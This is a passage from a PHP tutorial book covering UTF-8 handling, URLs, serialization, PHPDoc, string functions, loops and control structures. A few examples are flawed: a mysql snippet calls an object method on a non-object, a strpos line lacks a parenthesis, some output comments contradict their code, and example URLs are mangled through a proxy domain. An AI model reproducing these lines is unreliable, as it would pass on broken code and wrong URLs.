If you're using HTML5 then you can ignore this last point. You want all data sent to you by browsers to be
in UTF-8. The only reliable way to do this is to add the accept-charset attribute to all of your <form> tags like
so:

Complete PHP Tips & Secrets for Professionals 181

 <form action="somepage.php" accept-charset="UTF-8">

Section 36.2: Output

If your application transmits text to other systems, they will also need to be informed of the character
encoding. In PHP, you can use the default_charset option in php.ini, or manually issue the Content-Type
MIME header yourself. This is the preferred method when targeting modern browsers.

header('Content-Type: text/html; charset=utf-8');

If you are unable to set the response headers, then you can also set the encoding in an HTML document with
HTML metadata.

HTML5

<meta charset="utf-8">

Older versions of HTML

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

Section 36.3: Data Storage and Access

This topic specifically talks about UTF-8 and considerations for using it with a database. If you want more
information about using databases in PHP then checkout this topic.

Storing Data in a MySQL Database:

Specify the utf8mb4 character set on all tables and text columns in your database. This makes MySQL
physically store and retrieve values encoded natively in UTF-8.

MySQL will implicitly use utf8mb4 encoding if a utf8mb4_* collation is specified (without any explicit character
set).

Older versions of MySQL (< 5.5.3) do not support utf8mb4 so you'll be forced to use utf8, which only
supports a subset of Unicode characters.

Accessing Data in a MySQL Database:

In your application code (e.g. PHP), in whatever DB access method you use, you'll need to set the connection
charset to utf8mb4. This way, MySQL does no conversion from its native UTF-8 when it hands data off to your
application and vice versa.

Some drivers provide their own mechanism for configuring the connection character set, which both updates
its own internal state and informs MySQL of the encoding to be used on the connection. This is usually the
preferred approach.

For Example (The same consideration regarding utf8mb4/utf8 applies as above):

If you're using the PDO abstraction layer with PHP ? 5.3.6, you can specify charset in the DSN:

$handle = new PDO('mysql:charset=utf8mb4');

Complete PHP Tips & Secrets for Professionals 182

 If you're using mysqli, you can call set_charset():

$conn = mysqli_connect('localhost', 'my_user', 'my_password', 'my_db');

$conn->set_charset('utf8mb4'); // object oriented style

mysqli_set_charset($conn, 'utf8mb4'); // procedural style

If you're stuck with plain mysql but happen to be running PHP ? 5.2.3, you can call mysql_set_charset.

$conn = mysql_connect('localhost', 'my_user', 'my_password');

$conn->set_charset('utf8mb4'); // object oriented style

mysql_set_charset($conn, 'utf8mb4'); // procedural style

If the database driver does not provide its own mechanism for setting the connection character set,
you may have to issue a query to tell MySQL how your application expects data on the connection to
be encoded: SET NAMES 'utf8mb4'.

Chapter 37: URLs

Section 37.1: Parsing a URL
To separate a URL into its individual components, use parse_url():

$url = 'http://www.example.com/page?foo=1&bar=baz#anchor';
$parts = parse_url($url);

After executing the above, the contents of $parts would be:

Array
(
[scheme] => http
[host] => www.example.com
[path] => /page
[query] => foo=1&bar=baz
[fragment] => anchor
)

You can also selectively return just one component of the url. To return just the querystring:

$url = 'http://www.example.com/page?foo=1&bar=baz#anchor';
$queryString = parse_url($url, PHP_URL_QUERY);

Any of the following constants are accepted: PHP_URL_SCHEME, PHP_URL_HOST, PHP_URL_PORT, PHP_URL_USER,
PHP_URL_PASS, PHP_URL_PATH, PHP_URL_QUERY and PHP_URL_FRAGMENT.

To further parse a query string into key value pairs use parse_str():

$params = [];
parse_str($queryString, $params);

After execution of the above, the $params array would be populated with the following:

Array
(
[foo] => 1
[bar] => baz
)

Complete PHP Tips & Secrets for Professionals 183

Section 37.2: Build an URL-encoded query string from an array
The http_build_query() will create a query string from an array or object. These strings can be appended to a URL
to create a GET request, or used in a POST request with, for example, cURL.

$parameters = array(
'parameter1' => 'foo',
'parameter2' => 'bar',
);
$queryString = http_build_query($parameters);

$queryString will have the following value:

parameter1=foo&parameter2=bar

http_build_query() will also work with multi-dimensional arrays:

$parameters = array(
"parameter3" => array(
"sub1" => "foo",
"sub2" => "bar",
),
"parameter4" => "baz",
);
$queryString = http_build_query($parameters);

$queryString will have this value:

parameter3%5Bsub1%5D=foo&parameter3%5Bsub2%5D=bar&parameter4=baz

which is the URL-encoded version of

parameter3[sub1]=foo&parameter3[sub2]=bar&parameter4=baz

Section 37.3: Redirecting to another URL

You can use the header() function to instruct the browser to redirect to a different URL:

$url = 'https://example.org/foo/bar';
if (!headers_sent()) { // check headers - you can not send headers if they already sent
header('Location: ' . $url);
exit; // protects from code being executed after redirect request
} else {
throw new Exception('Cannot redirect, headers already sent');
}

You can also redirect to a relative URL (this is not part of the official HTTP specification, but it does work in all
browsers):

$url = 'foo/bar';
if (!headers_sent()) {
header('Location: ' . $url);
exit;
} else {
throw new Exception('Cannot redirect, headers already sent');
}

If headers have been sent, you can alternatively send a meta refresh HTML tag.

WARNING: The meta refresh tag relies on HTML being properly processed by the client, and some will not do this.
In general, it only works in web browsers. Also, consider that if headers have been sent, you may have a bug and

Complete PHP Tips & Secrets for Professionals 184

this should trigger an exception.

You may also print a link for users to click, for clients that ignore the meta refresh tag:

$url = 'https://example.org/foo/bar';
if (!headers_sent()) {
header('Location: ' . $url);
} else {
$saveUrl = htmlspecialchars($url); // protects from browser seeing url as HTML
// tells browser to redirect page to $saveUrl after 0 seconds
print '<meta http-equiv="refresh" content="0; url=' . $saveUrl . '">';
// shows link for user
print '<p>Please continue to <a href="' . $saveUrl . '">' . $saveUrl . '</a></p>';
}
exit;

Chapter 38: Object Serialization

serialize($object)
unserialize($object)

Section 38.1: Serialize / Unserialize

serialize() returns a string containing a byte-stream representation of any value that can be stored in PHP.
unserialize() can use this string to recreate the original variable values.

To serialize an object

serialize($object);

To Unserialize an object

unserialize($object)

Example

$array = array();
$array["a"] = "Foo";
$array["b"] = "Bar";
$array["c"] = "Baz";
$array["d"] = "Wom";

$serializedArray = serialize($array);
echo $serializedArray; //output:
a:4:{s:1:"a";s:3:"Foo";s:1:"b";s:3:"Bar";s:1:"c";s:3:"Baz";s:1:"d";s:3:"Wom";}

Section 38.2: The Serializable interface

Introduction

Classes that implement this interface no longer support __sleep() and __wakeup(). The method serialize is called
whenever an instance needs to be serialized. This does not invoke __destruct() or has any other side effect unless
programmed inside the method. When the data is unserialized the class is known and the appropriate
unserialize() method is called as a constructor instead of calling __construct(). If you need to execute the
standard constructor you may do so in the method.

Basic usage

class obj implements Serializable {

Complete PHP Tips & Secrets for Professionals 185

 private $data;
public function __construct() {
$this->data = "My private data";
}
public function serialize() {
return serialize($this->data);
}
public function unserialize($data) {
$this->data = unserialize($data);
}
public function getData() {
return $this->data;
}
}

$obj = new obj;

$ser = serialize($obj);

var_dump($ser); // Output: string(38) "C:3:"obj":23:{s:15:"My private data";}"

$newobj = unserialize($ser);

var_dump($newobj->getData()); // Output: string(15) "My private data"

Chapter 39: PHPDoc

@api
@author [name] [<email address>]
@copyright <description>
@deprecated [<"Semantic Version">][:<"Semantic Version">] [<description>]
@example [URI] [<description>]
{@example [URI] [:<start>..<end>]}
@inheritDoc
@internal
{@internal [description]}}
@license [<SPDX identifier>|URI] [name]
@method [return "Type"] [name](["Type"] [parameter], [...]) [description]
@package [level 1]\[level 2]\[etc.]
@param ["Type"] [name] [<description>]
@property ["Type"] [name] [<description>]
@return <"Type"> [description]
@see [URI | "FQSEN"] [<description>]
@since [<"Semantic Version">] [<description>]
@throws ["Type"] [<description>]
@todo [description]
@uses [file | "FQSEN"] [<description>]
@var ["Type"] [element_name] [<description>]
@version ["Semantic Version"] [<description>]
@filesource - Includes current file in phpDocumentor parsing results
@link [URI] [<description>] - Link tag helps to define relation or link between structural elements.

Section 39.1: Describing a variable

The @var keyword can be used to describe the type and usage of:

a class property

Complete PHP Tips & Secrets for Professionals 186

 a local or global variable
a class or global constant

class Example {
/** @var string This is something that stays the same */
const UNCHANGING = "Untouchable";

/** @var string $some_str This is some string */

public $some_str;

/**
* @var array $stuff This is a collection of stuff
* @var array $nonsense These are nonsense
*/
private $stuff, $nonsense;

...
}

The type can be one of the built-in PHP types, or a user-defined class, including namespaces.

The name of the variable should be included, but can be omitted if the docblock applies to only one item.

Section 39.2: Adding metadata to functions

Function level annotations help IDEs identify return values or potentially dangerous code

/**
* Adds two numbers together.
*
* @param Int $a First parameter to add
* @param Int $b Second parameter to add
* @return Int
*/
function sum($a, $b)
{
return (int) $a + $b;
}

/**
* Don't run me! I will always raise an exception.
*
* @throws Exception Always
*/
function dangerousCode()
{
throw new Exception('Ouch, that was dangerous!');
}

/**
* Old structures should be deprecated so people know not to use them.
*
* @deprecated
*/
function oldCode()
{
mysql_connect(/* ... */);
}

Section 39.3: Describing parameters

/**

Complete PHP Tips & Secrets for Professionals 187

 * Parameters
*
* @param int $int
* @param string $string
* @param array $array
* @param bool $bool
*/
function demo_param($int, $string, $array, $bool)
{
}

/**
* Parameters - Optional / Defaults
*
* @param int $int
* @param string $string
* @param array $array
* @param bool $bool
*/
function demo_param_optional($int = 5, $string = 'foo', $array = [], $bool = false)
{
}

/**
* Parameters - Arrays
*
* @param array $mixed
* @param int[] $integers
* @param string[] $strings
* @param bool[] $bools
* @param string[]|int[] $strings_or_integers
*/
function demo_param_arrays($mixed,$integers, $strings, $bools, $strings_or_integers)
{
}

/**
* Parameters - Complex
* @param array $config
* <pre>
* $params = [
* 'hostname' => (string) DB hostname. Required.
* 'database' => (string) DB name. Required.
* 'username' => (string) DB username. Required.
* ]
* </pre>
*/
function demo_param_complex($config)
{
}

Section 39.4: Collections

PSR-5 proposes a form of Generics-style notation for collections.

Generics Syntax
Type[]
Type<Type>
Type<Type[, Type]...>
Type<Type[|Type]...>

Values in a Collection MAY even be another array and even another Collection.

Complete PHP Tips & Secrets for Professionals 188

Type<Type<Type>>
Type<Type<Type[, Type]...>>
Type<Type<Type[|Type]...>>
Examples
<?php

/**
* @var ArrayObject<string> $name
*/
$name = new ArrayObject(['a', 'b']);

/**
* @var ArrayObject<int> $name
*/
$name = new ArrayObject([1, 2]);

/**
* @var ArrayObject<stdClass> $name
*/
$name = new ArrayObject([
new stdClass(),
new stdClass()
]);

/**
* @var ArrayObject<string|int|stdClass|bool> $name
*/
$name = new ArrayObject([
'a',
true,
1,
'b',
new stdClass(),
'c',
2
]);

/**
* @var ArrayObject<ArrayObject<int>> $name
*/
$name = new ArrayObject([
new ArrayObject([1, 2]),
new ArrayObject([1, 2])
]);

/**
* @var ArrayObject<int, string> $name
*/
$name = new ArrayObject([
1 => 'a',
2 => 'b'
]);

/**
* @var ArrayObject<string, int> $name
*/
$name = new ArrayObject([
'a' => 1,
'b' => 2
]);

/**

Complete PHP Tips & Secrets for Professionals 189

 * @var ArrayObject<string, stdClass> $name
*/
$name = new ArrayObject([
'a' => new stdClass(),
'b' => new stdClass()
]);

Section 39.5: Adding metadata to files

File level metadata applies to all the code within the file and should be placed at the top of the file:

<?php

/**
* @author John Doe ([email protected])
* @copyright MIT
*/

Section 39.6: Inheriting metadata from parent structures

If a class extends another class and would use the same metadata, providing it @inheritDoc is a simple way for use
the same documentation. If multiple classes inherit from a base, only the base would need to be changed for the
children to be affected.

abstract class FooBase

{
/**
* @param Int $a First parameter to add
* @param Int $b Second parameter to add
* @return Int
*/
public function sum($a, $b) {}
}

class ConcreteFoo extends FooBase

{
/**
* @inheritDoc
*/
public function sum($a, $b)
{
return $a + $b;
}
}

Chapter 40: Contributing to the PHP Manual

The PHP Manual provides both a functional reference and a language reference along with explanations of PHP's
major features. The PHP Manual, unlike most languages' documentation, encourages PHP developers to add their
own examples and notes to each page of the documentation. This topic explains contribution to the PHP manual,
along with tips, tricks, and guidelines for best practice.

Section 40.1: Improve the ocial documentation

PHP has great official documentation already at http://php.net/manual/. The PHP Manual documents pretty much
all language features, the core libraries and most available extensions. There are plenty of examples to learn from.
The PHP Manual is available in multiple languages and formats.

Best of all, the documentation is free for anyone to edit.

Complete PHP Tips & Secrets for Professionals 190

The PHP Documentation Team provides an online editor for the PHP Manual at https://edit.php.net. It supports
multiple Single-Sign-On services, including logging in with your Stack Overflow account. You can find an
introduction to the editor at https://wiki.php.net/doc/editor.

Changes to the PHP Manual need to be approved by people from the PHP Documentation Team having Doc Karma.
Doc Karma is somewhat like reputation, but harder to get. This peer review process makes sure only factually
correct information gets into the PHP Manual.

The PHP Manual is written in DocBook, which is an easy to learn markup language for authoring books. It might
look a little bit complicated at first sight, but there are templates to get you started. You certainly don't need to be a
DocBook expert to contribute.

Section 40.2: Tips for contributing to the manual

The following is a list of tips for those who are looking to contribute to the PHP manual:

Follow the manual's style guidelines. Ensure that the manual's style guidelines are always being followed
for consistency's sake.
Perform spelling and grammar checks. Ensure proper spelling and grammar is being used - otherwise the
information presented may be more difficult to assimilate, and the content will look less professional.
Be terse in explanations. Avoid rambling to clearly and concisely present the information to developers
who are looking to quickly reference it.
Separate code from its output. This gives cleaner and less convoluted code examples for developers to
digest.
Check the page section order. Ensure that all sections of the manual page being edited are in the correct
order. Uniformity in the manual makes it easier to quickly read and lookup information.
Remove PHP 4-related content. Specific mentions to PHP 4 are no longer relevant given how old it is now.
Mentions of it should be removed from the manual to prevent convoluting it with unnecessary information.
Properly version files. When creating new files in the documentation, ensure that the revision ID of the file
is set to nothing, like so: <!-- $Revision$ -->.
Merge useful comments into the manual. Some comments contribute useful information that the manual
could benefit from having. These should be merged into the main page's content.
Don't break the documentation build. Always ensure that the PHP manual builds properly before
committing the changes.

Chapter 41: String Parsing

Section 41.1: Splitting a string by separators
explode and strstr are simpler methods to get substrings by separators.

A string containing several parts of text that are separated by a common character can be split into parts with the
explode function.

$fruits = "apple,pear,grapefruit,cherry";
print_r(explode(",",$fruits)); // ['apple', 'pear', 'grapefruit', 'cherry']

The method also supports a limit parameter that can be used as follow:

$fruits= 'apple,pear,grapefruit,cherry';

If the limit parameter is zero, then this is treated as 1.

print_r(explode(',',$fruits,0)); // ['apple,pear,grapefruit,cherry']

Complete PHP Tips & Secrets for Professionals 191

If limit is set and positive, the returned array will contain a maximum of limit elements with the last element
containing the rest of string.

print_r(explode(',',$fruits,2)); // ['apple', 'pear,grapefruit,cherry']

If the limit parameter is negative, all components except the last -limit are returned.

print_r(explode(',',$fruits,-1)); // ['apple', 'pear', 'grapefruit']

explode can be combined with list to parse a string into variables in one line:

$email = "[email protected]";
list($name, $domain) = explode("@", $email);

However, make sure that the result of explode contains enough elements, or an undefined index warning would be
triggered.

strstr strips away or only returns the substring before the first occurrence of the given needle.

$string = "1:23:456";
echo json_encode(explode(":", $string)); // ["1","23","456"]
var_dump(strstr($string, ":")); // string(7) ":23:456"

var_dump(strstr($string, ":", true)); // string(1) "1"

Section 41.2: Substring

Substring returns the portion of string specified by the start and length parameters.

var_dump(substr("Boo", 1)); // string(2) "oo"

If there is a possibility of meeting multi-byte character strings, then it would be safer to use mb_substr.

$cake = "cakeæøå";
var_dump(substr($cake, 0, 5)); // string(5) "cake?"
var_dump(mb_substr($cake, 0, 5, 'UTF-8')); // string(6) "cakeæ"

Another variant is the substr_replace function, which replaces text within a portion of a string.

var_dump(substr_replace("Boo", "0", 1, 1)); // string(3) "B0o"

var_dump(substr_Replace("Boo", "ts", strlen("Boo"))); // string(5) "Boots"

Let's say you want to find a specific word in a string - and don't want to use Regex.

$hi = "Hello World!";

$bye = "Goodbye cruel World!";

var_dump(strpos($hi, " ")); // int(5)

var_dump(strpos($bye, " ")); // int(7)

var_dump(substr($hi, 0, strpos($hi, " "))); // string(5) "Hello"

var_dump(substr($bye, -1 * (strlen($bye) - strpos($bye, " ")))); // string(13) " cruel World!"

// If the casing in the text is not important, then using strtolower helps to compare strings
var_dump(substr($hi, 0, strpos($hi, " ")) == 'hello'); // bool(false)
var_dump(strtolower(substr($hi, 0, strpos($hi, " "))) == 'hello'); // bool(true)

Another option is a very basic parsing of an email.

$email = "[email protected]";
$wrong = "foobar.co.uk";

Complete PHP Tips & Secrets for Professionals 192

$notld = "foo@bar";

$at = strpos($email, "@"); // int(4)

$wat = strpos($wrong, "@"); // bool(false)
$nat = strpos($notld , "@"); // int(3)

$domain = substr($email, $at + 1); // string(11) "example.com"

$womain = substr($wrong, $wat + 1); // string(11) "oobar.co.uk"
$nomain = substr($notld, $nat + 1); // string(3) "bar"

$dot = strpos($domain, "."); // int(7)

$wot = strpos($womain, "."); // int(5)
$not = strpos($nomain, "."); // bool(false)

$tld = substr($domain, $dot + 1); // string(3) "com"

$wld = substr($womain, $wot + 1); // string(5) "co.uk"
$nld = substr($nomain , $not + 1); // string(2) "ar"

// string(25) "[email protected] is valid"

if ($at && $dot) var_dump("$email is valid");
else var_dump("$email is invalid");

// string(21) "foobar.com is invalid"

if ($wat && $wot) var_dump("$wrong is valid");
else var_dump("$wrong is invalid");

// string(18) "foo@bar is invalid"

if ($nat && $not) var_dump("$notld is valid");
else var_dump("$notld is invalid");

// string(27) "foobar.co.uk is an UK email"

if ($tld == "co.uk") var_dump("$email is a UK address");
if ($wld == "co.uk") var_dump("$wrong is a UK address");
if ($nld == "co.uk") var_dump("$notld is a UK address");

Or even putting the "Continue reading" or "..." at the end of a blurb

$blurb = "Lorem ipsum dolor sit amet";

$limit = 20;

var_dump(substr($blurb, 0, $limit - 3) . '...'); // string(20) "Lorem ipsum dolor..."

Section 41.3: Searching a substring with strpos

strpos can be understood as the number of bytes in the haystack before the first occurrence of the needle.

var_dump(strpos("haystack", "hay")); // int(0)

var_dump(strpos("haystack", "stack")); // int(3)
var_dump(strpos("haystack", "stackoverflow"); // bool(false)
Checking if a substring exists

Be careful with checking against TRUE or FALSE because if a index of 0 is returned an if statement will see this as
FALSE.

$pos = strpos("abcd", "a"); // $pos = 0;

$pos2 = strpos("abcd", "e"); // $pos2 = FALSE;

// Bad example of checking if a needle is found.

if($pos) { // 0 does not match with TRUE.
echo "1. I found your string\n";
}
else {

Complete PHP Tips & Secrets for Professionals 193

 echo "1. I did not found your string\n";
}

// Working example of checking if needle is found.

if($pos !== FALSE) {
echo "2. I found your string\n";
}
else {
echo "2. I did not found your string\n";
}

// Checking if a needle is not found

if($pos2 === FALSE) {
echo "3. I did not found your string\n";
}
else {
echo "3. I found your string\n";
}

Output of the whole example:

1. I did not found your string

2. I found your string
3. I did not found your string
Search starting from an offset
// With offset we can search ignoring anything before the offset
$needle = "Hello";
$haystack = "Hello world! Hello World";

$pos = strpos($haystack, $needle, 1); // $pos = 13, not 0

Get all occurrences of a substring
$haystack = "a baby, a cat, a donkey, a fish";
$needle = "a ";
$offsets = [];
// start searching from the beginning of the string
for($offset = 0;
// If our offset is beyond the range of the
// string, don't search anymore.
// If this condition is not set, a warning will
// be triggered if $haystack ends with $needle
// and $needle is only one byte long.
$offset < strlen($haystack); ){
$pos = strpos($haystack, $needle, $offset);
// we don't have anymore substrings
if($pos === false) break;
$offsets[] = $pos;
// You may want to add strlen($needle) instead,
// depending on whether you want to count "aaa"
// as 1 or 2 "aa"s.
$offset = $pos + 1;
}
echo json_encode($offsets); // [0,8,15,25]

Section 41.4: Parsing string using regular expressions

preg_match can be used to parse string using regular expression. The parts of expression enclosed in parenthesis
are called subpatterns and with them you can pick individual parts of the string.

$str = "<a href=\"http://example.org\">My Link</a>";

$pattern = "/<a href=\"(.*)\">(.*)<\/a>/";
$result = preg_match($pattern, $str, $matches);

Complete PHP Tips & Secrets for Professionals 194

if($result === 1) {
// The string matches the expression
print_r($matches);
} else if($result === 0) {
// No match
} else {
// Error occured
}

Output

Array
(
[0] => <a href="http://example.org">My Link</a>
[1] => http://example.org
[2] => My Link
)

Chapter 42: Loops

for (init counter; test counter; increment counter) { /* code */ }
foreach (array as value) { /* code */ }
foreach (array as key => value) { /* code */ }
while (condition) { /* code */ }
do { /* code */ } while (condition);
anyloop { continue; }
anyloop { [ anyloop ...] { continue int; } }
anyloop { break; }
anyloop { [ anyloop ...] { break int; } }

Loops are a fundamental aspect of programming. They allow programmers to create code that repeats for some
given number of repetitions, or iterations. The number of iterations can be explicit (6 iterations, for example), or
continue until some condition is met ('until Hell freezes over').

This topic covers the different types of loops, their associated control statements, and their potential applications in
PHP.

Section 42.1: continue

The continue keyword halts the current iteration of a loop but does not terminate the loop.

Just like the break statement the continue statement is situated inside the loop body. When executed, the
continue statement causes execution to immediately jump to the loop conditional.

In the following example loop prints out a message based on the values in an array, but skips a specified value.

$list = ['apple', 'banana', 'cherry'];

foreach ($list as $value) {

if ($value == 'banana') {
continue;
}
echo "I love to eat {$value} pie.".PHP_EOL;
}

The expected output is:

I love to eat apple pie.

Complete PHP Tips & Secrets for Professionals 195

I love to eat cherry pie.

The continue statement may also be used to immediately continue execution to an outer level of a loop by
specifying the number of loop levels to jump. For example, consider data such as

Fruit Color Cost

Apple Red 1
Banana Yellow 7
Cherry Red 2
Grape Green 4

In order to only make pies from fruit which cost less than 5

$data = [
[ "Fruit" => "Apple", "Color" => "Red", "Cost" => 1 ],
[ "Fruit" => "Banana", "Color" => "Yellow", "Cost" => 7 ],
[ "Fruit" => "Cherry", "Color" => "Red", "Cost" => 2 ],
[ "Fruit" => "Grape", "Color" => "Green", "Cost" => 4 ]
];

foreach($data as $fruit) {
foreach($fruit as $key => $value) {
if ($key == "Cost" && $value >= 5) {
continue 2;
}
/* make a pie */
}
}

When the continue 2 statement is executed, execution immediately jumps back to $data as $fruit continuing
the outer loop and skipping all other code (including the conditional in the inner loop.

Section 42.2: break

The break keyword immediately terminates the current loop.

Similar to the continue statement, a break halts execution of a loop. Unlike a continue statement, however, break
causes the immediate termination of the loop and does not execute the conditional statement again.

$i = 5;
while(true) {
echo 120/$i.PHP_EOL;
$i -= 1;
if ($i == 0) {
break;
}
}

This code will produce

24
30
40
60
120

but will not execute the case where $i is 0, which would result in a fatal error due to division by 0.

The break statement may also be used to break out of several levels of loops. Such behavior is very useful when
executing nested loops. For example, to copy an array of strings into an output string, removing any # symbols,

Complete PHP Tips & Secrets for Professionals 196

until the output string is exactly 160 characters

$output = "";
$inputs = array(
"#soblessed #throwbackthursday",
"happy tuesday",
"#nofilter",
/* more inputs */
);
foreach($inputs as $input) {
for($i = 0; $i < strlen($input); $i += 1) {
if ($input[$i] == '#') continue;
$output .= $input[$i];
if (strlen($output) == 160) break 2;
}
$output .= ' ';
}

The break 2 command immediately terminates execution of both the inner and outer loops.

Section 42.3: foreach

The foreach statement is used to loop through arrays.

For each iteration the value of the current array element is assigned to $value variable and the array pointer is
moved by one and in the next iteration next element will be processed.

The following example displays the items in the array assigned.

$list = ['apple', 'banana', 'cherry'];

foreach ($list as $value) {

echo "I love to eat {$value}. ";
}

The expected output is:

I love to eat apple. I love to eat banana. I love to eat cherry.

You can also access the key / index of a value using foreach:

foreach ($list as $key => $value) {

echo $key . ":" . $value . " ";
}

//Outputs - 0:apple 1:banana 2:cherry

By default $value is a copy of the value in $list, so changes made inside the loop will not be reflected in $list
afterwards.

foreach ($list as $value) {

$value = $value . " pie";
}
echo $list[0]; // Outputs "apple"

To modify the array within the foreach loop, use the & operator to assign $value by reference. It's important to
unset the variable afterwards so that reusing $value elsewhere doesn't overwrite the array.

foreach ($list as &$value) { // Or foreach ($list as $key => &$value) {

$value = $value . " pie";
}

Complete PHP Tips & Secrets for Professionals 197

unset($value);
echo $list[0]; // Outputs "apple pie"

You can also modify the array items within the foreach loop by referencing the array key of the current item.

foreach ($list as $key => $value) {

$list[$key] = $value . " pie";
}
echo $list[0]; // Outputs "apple pie"

Section 42.4: do...while

The do...while statement will execute a block of code at least once - it then will repeat the loop as long as a
condition is true.

The following example will increment the value of $i at least once, and it will continue incrementing the variable $i
as long as it has a value of less than 25;

$i = 0;
do {
$i++;
} while($i < 25);

echo 'The final value of i is: ', $i;

The expected output is:

The final value of i is: 25

Section 42.5: for

The for statement is used when you know how many times you want to execute a statement or a block of
statements.

The initializer is used to set the start value for the counter of the number of loop iterations. A variable may be
declared here for this purpose and it is traditional to name it $i.

The following example iterates 10 times and displays numbers from 0 to 9.

for ($i = 0; $i <= 9; $i++) {

echo $i, ',';
}

# Example 2
for ($i = 0; ; $i++) {
if ($i > 9) {
break;
}
echo $i, ',';
}

# Example 3
$i = 0;
for (; ; ) {
if ($i > 9) {
break;
}
echo $i, ',';
$i++;
}

Complete PHP Tips & Secrets for Professionals 198

# Example 4
for ($i = 0, $j = 0; $i <= 9; $j += $i, print $i. ',', $i++);

The expected output is:

0,1,2,3,4,5,6,7,8,9,

Section 42.6: while

The while statement will execute a block of code if and as long as a test expression is true.

If the test expression is true then the code block will be executed. After the code has executed the test expression
will again be evaluated and the loop will continue until the test expression is found to be false.

The following example iterates till the sum reaches 100 before terminating.

$i = true;
$sum = 0;

while ($i) {
if ($sum === 100) {
$i = false;
} else {
$sum += 10;
}
}
echo 'The sum is: ', $sum;

The expected output is:

The sum is: 100

Chapter 43: Control Structures

Section 43.1: if else
The if statement in the example above allows to execute a code fragment, when the condition is met. When you
want to execute a code fragment, when the condition is not met you extend the if with an else.

if ($a > $b) {

echo "a is greater than b";
} else {
echo "a is NOT greater than b";
}

PHP Manual - Control Structures - Else

The ternary operator as shorthand syntax for if-else

The ternary operator evaluates something based on a condition being true or not. It is a comparison operator and
often used to express a simple if-else condition in a shorter form. It allows to quickly test a condition and often
replaces a multi-line if statement, making your code more compact.

This is the example from above using a ternary expression and variable values: $a=1; $b=2;

echo ($a > $b) ? "a is greater than b" : "a is NOT greater than b";

Outputs: a is NOT greater than b.

Complete PHP Tips & Secrets for Professionals 199

Section 43.2: Alternative syntax for control structures
PHP provides an alternative syntax for some control structures: if, while, for, foreach, and switch.

When compared to the normal syntax, the difference is, that the opening brace is replaced by a colon (:) and the
closing brace is replaced by endif;, endwhile;, endfor;, endforeach;, or endswitch;, respectively. For individual
examples, see the topic on alternative syntax for control structures.

if ($a == 42):
echo "The answer to life, the universe and everything is 42.";
endif;

Multiple elseif statements using short-syntax:

if ($a == 5):
echo "a equals 5";
elseif ($a == 6):
echo "a equals 6";
else:
echo "a is neither 5 nor 6";
endif;

PHP Manual - Control Structures - Alternative Syntax

Section 43.3: while

while loop iterates through a block of code as long as a specified condition is true.

$i = 1;
while ($i < 10) {
echo $i;
$i++;
}

Output: 123456789

For detailed information, see the Loops topic.

Section 43.4: do-while

do-while loop first executes a block of code once, in every case, then iterates through that block of code as long as
a specified condition is true.

$i = 0;
do {
$i++;
echo $i;
} while ($i < 10);

Output: `12345678910`

For detailed information, see the Loops topic.

Section 43.5: goto

The goto operator allows to jump to another section in the program. It's available since PHP 5.3.

The goto instruction is a goto followed by the desired target label: goto MyLabel;.

The target of the jump is specified by a label followed by a colon: MyLabel:.

Complete PHP Tips & Secrets for Professionals 200

This example will print Hello World!:

<?php
goto MyLabel;
echo 'This text will be skipped, because of the jump.';

MyLabel:
echo 'Hello World!';
?>

Section 43.6: declare

declare is used to set an execution directive for a block of code.

The following directives are recognized:

ticks
encoding
strict_types

For instance, set ticks to 1:

declare(ticks=1);

To enable strict type mode, the declare statement is used with the strict_types declaration:

declare(strict_types=1);

Section 43.7: include & require

require

require is similar to include, except that it will produce a fatal E_COMPILE_ERROR level error on failure. When the
require fails, it will halt the script. When the include fails, it will not halt the script and only emit E_WARNING.

require 'file.php';

PHP Manual - Control Structures - Require

include

The include statement includes and evaluates a file.

./variables.php

$a = 'Hello World!';

./main.php`

include 'variables.php';
echo $a;
// Output: `Hello World!`

Be careful with this approach, since it is considered a code smell, because the included file is altering amount and
content of the defined variables in the given scope.

You can also include file, which returns a value. This is extremely useful for handling configuration arrays:

configuration.php

Complete PHP Tips & Secrets for Professionals 201

<?php
return [
'dbname' => 'my db',
'user' => 'admin',
'pass' => 'password',
];

main.php

<?php
$config = include 'configuration.php';

This approach will prevent the included file from polluting your current scope with changed or added variables.

PHP Manual - Control Structures - Include

include & require can also be used to assign values to a variable when returned something by file.

Example :

include1.php file :

<?php
$a = "This is to be returned";

return $a;
?>

index.php file :

$value = include 'include1.php';

// Here, $value = "This is to be returned"

Section 43.8: return

The return statement returns the program control to the calling function.

When return is called from within a function, the execution of the current function will end.

function returnEndsFunctions()
{
echo 'This is executed';
return;
echo 'This is not executed.';
}

When you run returnEndsFunctions(); you'll get the output This is executed;

When return is called from within a function with and argument, the execution of the current function will end and
the value of the argument will be returned to the calling function.

Section 43.9: for

for loops are typically used when you have a piece of code which you want to repeat a given number of times.

for ($i = 1; $i < 10; $i++) {

echo $i;
}

Outputs: 123456789

Complete PHP Tips & Secrets for Professionals 202

For detailed information, see the Loops topic.

Section 43.10: foreach

foreach is a construct, which enables you to iterate over arrays and objects easily.

$array = [1, 2, 3];

foreach ($array as $value) {
echo $value;
}

Outputs: 123.

To use foreach loop with an object, it has to implement Iterator interface.

When you iterate over associative arrays:

$array = ['color'=>'red'];

foreach($array as $key => $value){

echo $key . ': ' . $value;
}

Outputs: color: red

For detailed information, see the Loops topic.

Section 43.11: if elseif else

elseif

elseif combines if and else. The if statement is extended to execute a different statement in case the original if
expression is not met. But, the alternative expression is only executed, when the elseif conditional expression is
met.

The following code displays either "a is bigger than b", "a is equal to b" or "a is smaller than b":

if ($a > $b) {

echo "a is bigger than b";
} elseif ($a == $b) {
echo "a is equal to b";
} else {
echo "a is smaller than b";
}

Several elseif statements

You can use multiple elseif statements within the same if statement:

if ($a == 1) {
echo "a is One";
} elseif ($a == 2) {
echo "a is Two";
} elseif ($a == 3) {
echo "a is Three";
} else {
echo "a is not One, not Two nor Three";
}

Complete PHP Tips & Secrets for Professionals 203

Section 43.12: if
The if construct allows for conditional execution of code fragments.

if ($a > $b) {

echo "a is bigger than b";
}

PHP Manual - Control Structures - If

Section 43.13: switch

The switch structure performs the same function as a series of if statements, but can do the job in fewer lines of
code. The value to be tested, as defined in the switch statement, is compared for equality with the values in each of
the case statements until a match is found and the code in that block is executed. If no matching case statement is
found, the code in the default block is executed, if it exists.

Each block of code in a case or default statement should end with the break statement. This stops the execution
of the switch structure and continues code execution immediately afterwards. If the break statement is omitted,
